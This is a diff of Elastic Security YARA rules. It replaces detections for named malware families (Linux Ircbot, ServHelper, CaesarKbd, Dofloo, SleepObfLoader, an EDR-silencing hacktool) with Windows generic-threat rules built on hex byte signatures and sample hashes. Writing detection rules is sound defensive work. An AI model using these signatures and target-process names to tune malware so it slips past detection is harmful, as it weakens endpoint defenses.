-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "D:\\WACATACC\\Projects\\Programs\\Echo\\x64\\Release\\echo-driver.pdb"
+		$a1 = { 2E 20 49 50 20 3D 20 25 73 2C 20 50 6F 72 74 20 3D 20 25 64 2C 20 73 6B 20 3D 20 25 64 }
+		$a2 = { 2E 20 49 50 20 3D 20 25 73 2C 20 50 6F 72 74 20 3D 20 25 64 2C 20 4C 65 6E 20 3D 20 25 64 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $str1
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Ircbot_Bb204B81 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B577C086 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ircbot (Linux.Trojan.Ircbot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "bb204b81-db58-434f-b834-672cdc25e56c"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "b577c086-37bd-4227-8cde-f15e2ce0d0ae"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ircbot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6147481d083c707dc98905a1286827a6e7009e08490e7d7c280ed5a6356527ad"
-		logic_hash = "90d211c11281f5f8832210f3fc087fe5ff5a519b9b38628835e8b5fcc560bd9b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L670-L688"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "27dd61d4d9997738e63e813f8b8ea9d5cf1291eb02d20d1a2ad75ac8aa99459c"
+		logic_hash = "a7684340171415ee01e855706192cdffcccd6c82362707229b2c1d096f87dfa8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "66f9a8a31653a5e480f427d2d6a25b934c2c53752308eedb57eaa7b7cb7dde2e"
-		severity = 100
+		fingerprint = "0de3cab973de067f2c10252bf761ced353de57c03c4b2e95db05ee3ca30259ea"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F 44 C8 4C 5E F8 8D EF 80 83 CD FF 31 DB 30 22 }
+		$a1 = { 83 EC 24 83 7D 08 00 75 0A B8 9A FF FF FF E9 65 02 00 00 8B 45 08 89 45 FC 8B 4D FC 83 79 18 00 75 0A B8 9A FF FF FF E9 4C 02 00 00 8B 55 FC 83 7A 7C 00 74 0C 8B 45 08 50 E8 5F 06 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ircbot_7C60454D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_62E1F5Fc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ircbot (Linux.Trojan.Ircbot)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7c60454d-8290-4e91-9b0a-2392aebe1bec"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "62e1f5fc-325b-46e0-8c03-1a73e873ab16"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ircbot.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "14eeff3516de6d2cb11d6ada4026e3dcee1402940e3a0fb4fa224a5c030049d8"
-		logic_hash = "90dcd0a3d3f6345e66db0a4f8465e3830eb4e3bcb675db16c60a89e20f935aec"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L690-L710"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4a692e244a389af0339de8c2d429b541d6d763afb0a2b1bb20bee879330f2f42"
+		logic_hash = "76e21746ee396f13073b3db1e876246f01cef547d312691dff3dc895ea3a2b82"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "4f14dcca5704c2ef32caaed1c048a5fb14095f31be8630676c07cbc8b22e6c4d"
-		severity = 100
+		fingerprint = "64839df90109a0c706c0a3626ba6c4c2eaa5dcd564f0e9889ab9ad4f12e150fe"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 49 89 F0 41 54 55 48 89 CD 53 48 89 FB 48 83 EC 58 48 85 D2 }
+		$a1 = { 43 6C 69 65 6E 74 2E 48 61 6E 64 6C 65 5F 50 61 63 6B 65 74 }
+		$a2 = { 67 65 74 5F 73 45 78 70 59 65 61 72 }
+		$a3 = { 73 65 74 5F 73 45 78 70 59 65 61 72 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_EDRWFP_F6D7Db7A : FILE
+rule ELASTIC_Windows_Generic_Threat_55D6A1Ab : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Edrwfp (Windows.Hacktool.EDRWFP)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f6d7db7a-c55e-41dc-859b-6431464e72f4"
-		date = "2024-06-10"
-		modified = "2024-07-02"
+		id = "55d6a1ab-2041-44a5-ae0e-23671fa2b001"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_EDRWFP.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a1fc2f3ded852f75e36e70ae39087e21ae5b6af10e2038d04e61bd500ba511e2"
-		logic_hash = "45d427e4f52346b4a18c154bb0afb636c18951fd9c7323846bf2eb7e47928ef6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L712-L731"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ca6ed610479b5aaaf193a2afed8f2ca1e32c0c5550a195d88f689caab60c6fb"
+		logic_hash = "4f3a0b2e45ae4e6a00f137798b700a0925fa6eb19ea6b871d7eeb565548888ba"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "11e4224f53ddb5ef18aef5efeaa7ec6ec00072e57db5189e29a04feae6b3da31"
-		severity = 100
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "cd81b61929b18d59630814718443c4b158f9dcc89c7d03a46a531ffc5843f585"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = "elastic-endpoint.exe"
-		$s2 = "elastic-agent.exe"
-		$s3 = "MsMpEng.exe"
-		$s4 = "FwpmFilterAdd0"
+		$a1 = { 51 51 31 33 37 32 33 39 32 34 38 20 }
+		$a2 = { 74 65 6E 63 65 6E 74 3A 2F 2F 6D 65 73 73 61 67 65 2F 3F 75 69 6E 3D 31 33 37 32 33 39 32 34 38 26 53 69 74 65 3D 63 66 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Servhelper_F4Dee200 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_F7D3Cdfd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Servhelper (Windows.Trojan.ServHelper)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f4dee200-5471-472b-a017-bfcc9c291cbe"
-		date = "2022-03-22"
-		modified = "2022-04-12"
+		id = "f7d3cdfd-72eb-4298-b3ff-432f5c4347c9"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ServHelper.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05d183430a7afe16a3857fc4e87568fcc18518e108823c37eabf0514660aa17c"
-		logic_hash = "abab541ebddf36c05e351d506d4f978a30d8a44ff09233a667d62a1692dabe15"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L733-L751"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f9df83d0b0e06884cdb4a02cd2091ee1fadeabb2ea16ca34cbfef4129ede251f"
+		logic_hash = "23e1008f222eb94a4bd34372834924377e813dc76efa8544b0dcbe7d3e3addde"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "24e49a0c72e665a03cea66614481665eea962a0c6b0a2f9d459866d8070ab456"
-		severity = 100
+		fingerprint = "db703a2ddcec989a81b99a67e61f4be34a2b0e55285c2bdec91cd2f7fc7e52f3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 48 8B 45 78 48 63 4D 44 48 8B 55 48 4C 63 45 44 48 0F B7 44 48 FE 66 42 33 44 42 FE 66 89 45 42 48 8D 4D 28 48 0F B7 55 42 E8 ?? ?? ?? ?? 48 8B 4D 70 48 8B 55 28 E8 ?? ?? ?? ?? 83 45 44 01 83 EB 01 85 DB 75 ?? }
-		$b = { 39 5D ?? 0F 8F ?? ?? ?? ?? 2B D8 83 C3 01 48 8B 45 ?? 48 63 4D ?? 66 83 7C 48 ?? 20 72 ?? 48 8B 45 ?? 48 63 4D ?? 66 83 7C 48 ?? 7F 76 ?? 48 8B 45 ?? 48 63 4D ?? 48 0F B7 44 48 ?? 66 83 E8 08 66 83 F8 07 77 ?? B2 01 8B C8 80 E1 7F D3 E2 48 0F B6 05 ?? ?? ?? ?? 84 C2 0F 95 C0 EB ?? 33 C0 84 C0 74 ?? 83 45 ?? 01 }
+		$a1 = { 55 8B EC 51 51 56 57 E8 A3 D0 FF FF 83 78 68 00 74 21 FF 75 24 FF 75 20 FF 75 18 FF 75 14 FF 75 10 FF 75 0C FF 75 08 E8 E5 8C FF FF 83 C4 1C 85 C0 75 73 8B 7D 1C 8D 45 F8 50 8D 45 FC 50 57 FF }
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Servhelper_370C5287 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_0350Ed31 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Servhelper (Windows.Trojan.ServHelper)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "370c5287-0e2f-4113-95b6-53d31671fa46"
-		date = "2022-03-24"
-		modified = "2022-04-12"
+		id = "0350ed31-ed07-4e9a-8488-3765c990f25c"
+		date = "2024-01-07"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_ServHelper.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05d183430a7afe16a3857fc4e87568fcc18518e108823c37eabf0514660aa17c"
-		logic_hash = "8a2934c28efef6a5fed26dc88d074aee15b0869370c66f6a4d6eaedf070eaa9e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L753-L771"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "008f9352765d1b3360726363e3e179b527a566bc59acecea06bd16eb16b66c5d"
+		logic_hash = "149dd26466f47b2e7f514bdcc9822470334490da2898840f35fe6b537ce104f6"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a66134e9344cc5ba403fe0aad70e8a991c61582d6a5640c3b9e4a554374176a2"
-		severity = 100
+		fingerprint = "aac41abf60a16c02c6250c0468c6f707f9771b48da9e78633de7141d09ca23c8"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 00 10 66 01 00 48 66 01 00 98 07 2B 00 50 66 01 00 95 66 01 }
+		$a1 = { 35 6A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 6A 29 59 7A 3F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Caesarkbd_32Bb198B : FILE
+rule ELASTIC_Windows_Generic_Threat_A1Cef0Cd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Caesarkbd (Windows.Trojan.CaesarKbd)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "32bb198b-ec03-4628-8e9b-bc36c2525ec7"
-		date = "2022-04-04"
-		modified = "2022-06-09"
+		id = "a1cef0cd-a811-4d7b-b24e-7935c0418c7a"
+		date = "2024-01-08"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CaesarKbd.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d4335f4189240a3bcafa05fab01f0707cc8e3dd7a2998af734c24916d9e37ca8"
-		logic_hash = "f708706524515f98ebf612ac98318ee7172347096251d9ccd723f439070521de"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L773-L791"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "71f519c6bd598e17e1298d247a4ad37b78685ca6fd423d560d397d34d16b7db8"
+		logic_hash = "2772906e3a8a088e7c6ea1370af5e5bbe2cbae4f49de9b939524e317be8ddde4"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "54ed92761bb619ae4dcec9c27127d6c2a74a575916249cd5db24b8deb2ee0588"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "9285f0ea8ed0ceded2f3876ef197b67e8087f7de82a72e0cd9899b05015eee79"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "CaesarKbd_IOCtrl"
+		$a1 = { 55 8B EC 51 53 8B DA 89 45 FC 8B 45 FC E8 76 00 00 00 33 C0 55 68 F0 A0 41 00 64 FF 30 64 89 20 8B 45 FC 80 78 20 01 74 10 8B 45 FC 8B 40 04 8B D3 E8 CE FC FF FF 40 75 0F 8B 45 FC 8B 40 04 8B }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Aobokeylogger_Bd960F34 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_E5F4703F : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Aobokeylogger (MacOS.Trojan.Aobokeylogger)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "bd960f34-1932-41be-ac0a-f45ada22c560"
-		date = "2021-10-18"
-		modified = "2021-10-25"
+		id = "e5f4703f-e834-4904-9036-a8c5996058c8"
+		date = "2024-01-09"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Aobokeylogger.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2b50146c20621741642d039f1e3218ff68e5dbfde8bb9edaa0a560ca890f0970"
-		logic_hash = "f89fbf1d6bf041de0ce32f7920818c34ce0eeb6779bb7fac6f223bbea1c6f6fa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L793-L811"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "362bda1fad3fefce7d173617909d3c1a0a8e234e22caf3215ee7c6cef6b2743b"
+		logic_hash = "f81476d5e5a9bcb42b32d6ec3d4b620165f2878c50691ecf59ef6f34b6ad9d1b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ae26a03d1973669cbeaabade8f3fd09ef2842b9617fa38e7b66dc4726b992a81"
-		severity = 100
+		fingerprint = "3072ea028b0716e88820782a2658d1f424d57bd988ccfcc1581991649cf52b19"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { 20 74 68 61 6E 20 32 30 30 20 6B 65 79 73 74 72 6F 6B 65 73 20 }
+		$a1 = { 83 E4 F8 83 EC 08 83 79 14 08 56 57 8B F1 72 02 8B 31 8B 41 10 8B CE 8D 3C 46 8B D7 E8 AC FA FF FF 8B 75 08 2B F8 D1 FF 0F 57 C0 57 50 0F 11 06 8B CE C7 46 10 00 00 00 00 C7 46 14 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Abrox_5641Ba81 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_8B790Aba : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Abrox (Linux.Exploit.Abrox)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5641ba81-2c37-4dd1-82d8-532182e8ed15"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "8b790aba-02b4-4c71-a51e-3a56ea5728ec"
+		date = "2024-01-09"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Abrox.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8de96c8e61536cae870f4a24127d28b86bd8122428bf13965c596f92182625aa"
-		logic_hash = "29c894720c8d9134623427768ab1ab3d5e66fbeae86dd957f449d00091db9019"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L813-L832"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ec98bfff01d384bdff6bbbc5e17620b31fa57c662516157fd476ef587b8d239e"
+		logic_hash = "8a0b2af3d0c95466ca138dfcc3d6f6a702ec92f5cd4f791b1200c79ffd973840"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "d2abedb6182f86982ebe283215331ce238fda3964535047768f2ea55719b052f"
-		severity = 100
+		fingerprint = "8581397f15b9985bafa5248f0e7f044bf80c82e441d2216dc0976c806f658d2e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 04 58 CD 80 6A 17 58 31 DB CD 80 31 D2 52 68 2E }
+		$a1 = { 7A 66 62 50 4A 64 73 72 78 77 7B 7B 79 55 36 46 42 50 4A 3F 20 2E 6E 3E 36 65 73 7A }
+		$a2 = { 50 36 7B 77 64 71 79 64 46 4A 73 64 79 62 45 7A 77 63 62 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sleepobfloader_460A1A75 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_76A7579F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sleepobfloader (Windows.Hacktool.SleepObfLoader)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "460a1a75-7242-41d6-8b39-51f2f0276a33"
-		date = "2024-01-24"
-		modified = "2024-01-29"
-		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SleepObfLoader.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d"
-		logic_hash = "c0bc1b7ef71c1a91fc487f904315c6f187530ab39825f90f55ac36625d5b93cf"
+		id = "76a7579f-4a9b-4dae-935c-14d829d3c416"
+		date = "2024-01-09"
+		modified = "2024-01-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L834-L852"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "76c73934bcff7e4ee08b068d1e02b8f5c22161262d127de2b4ac2e81d09d84f6"
+		logic_hash = "08ed2d318e7154195911aaf3705626307b48a54aa195eaa054ec53766d3e198d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8dbba5af9f379ac16a79b4989067b8715e084490ae2f048eb3a28d8d33c716e9"
-		severity = 100
+		fingerprint = "ba5bfc0e012a22172f138c498560a606e6754efa0fa145799f00725e130ad90f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { BA 01 00 00 00 41 B8 20 01 00 00 8B 48 3C 8B 4C 01 28 48 03 C8 48 89 0D ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B9 01 00 00 00 }
-		$b = { 8A 50 20 83 60 24 F0 80 E2 F8 48 8B ?? ?? ?? 4C 8B ?? ?? ?? 48 89 08 48 8B ?? ?? ?? 48 89 48 08 }
-		$c = { 8B 46 FB 41 89 40 18 0F B7 46 FF 66 41 89 40 1C 8A 46 01 41 88 40 1E }
+		$a1 = { 55 8B EC 8B 55 10 8B 45 08 8B C8 85 D2 74 09 C6 01 00 41 83 EA 01 75 F7 5D C3 55 8B EC 64 A1 30 00 00 00 83 EC 18 8B 40 0C 53 56 57 8B 78 0C E9 A7 00 00 00 8B 47 30 33 F6 8B 5F 2C 8B 3F 89 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dofloo_Be1973Ed : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_3F060B9C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dofloo (Linux.Trojan.Dofloo)"
-		author = "Elastic Security"
-		id = "be1973ed-a0ee-41ca-a752-fb5f990e2096"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		author = "Elastic Security"
+		id = "3f060b9c-8c35-4f0f-9dfd-10be6355bea9"
+		date = "2024-01-10"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dofloo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88d826bac06c29e1b9024baaf90783e15d87d2a5c8c97426cbd5a70ae0f99461"
-		logic_hash = "65f9daabf44006fe4405032bf93570185248bc62cd287650c68f854b23aa2158"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L854-L872"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "32e7a40b13ddbf9fc73bd12c234336b1ae11e2f39476de99ebacd7bbfd22fba0"
+		logic_hash = "193583f63f22452f96c8372fdc9ef04e2a684f847564a7fe75145ea30d426901"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f032f072fd5da9ec4d8d3953bea0f2a236219b99ecfa67e3fac44f2e73f33e9c"
-		severity = 100
+		fingerprint = "5bc1d19faa8fc07ef669f6f63baceee5fe452c0e2d54d6154bcc01e11606ae6f"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { A8 8B 45 A8 89 45 A4 83 7D A4 00 79 04 83 45 A4 03 8B 45 A4 C1 }
+		$a1 = { 55 8B EC 51 51 53 56 8B F1 E8 4B BE FF FF 8D 45 FC 8B CE 50 FF 75 10 FF 75 0C E8 69 FE FF FF 8B D8 8B CE 53 E8 4B FD FF FF 85 C0 0F 84 C6 00 00 00 8B 46 40 83 F8 02 0F 84 B3 00 00 00 83 F8 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Dofloo_1D057993 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Dbae6542 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Dofloo (Linux.Trojan.Dofloo)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "1d057993-0a46-4014-8ab6-aa9e9d93dfa1"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "dbae6542-b343-4320-884c-c0ce97a431f1"
+		date = "2024-01-10"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Dofloo.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88d826bac06c29e1b9024baaf90783e15d87d2a5c8c97426cbd5a70ae0f99461"
-		logic_hash = "c5e15e21946816052d5a8dc293db3830f1d6d06cdbf22eb8667b655206dbbc1f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L874-L892"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c73f533f96ed894b9ff717da195083a594673e218ee9a269e360353b9c9a0283"
+		logic_hash = "673c6b4e6aaa127d45b21d0283437000fbc507a84ecd7a326448869d63759aee"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c4bb948b85777b1f5df89fafba0674bc245bbda1962c576abaf0752f49c747d0"
-		severity = 100
+		fingerprint = "880aafd423494eccab31342bdfec392fdf4a7b4d98614a0c3b5302d62bcf5ba8"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 10 88 45 DB 83 EC 04 8B 45 F8 83 C0 03 89 45 D4 8B 45 D4 89 }
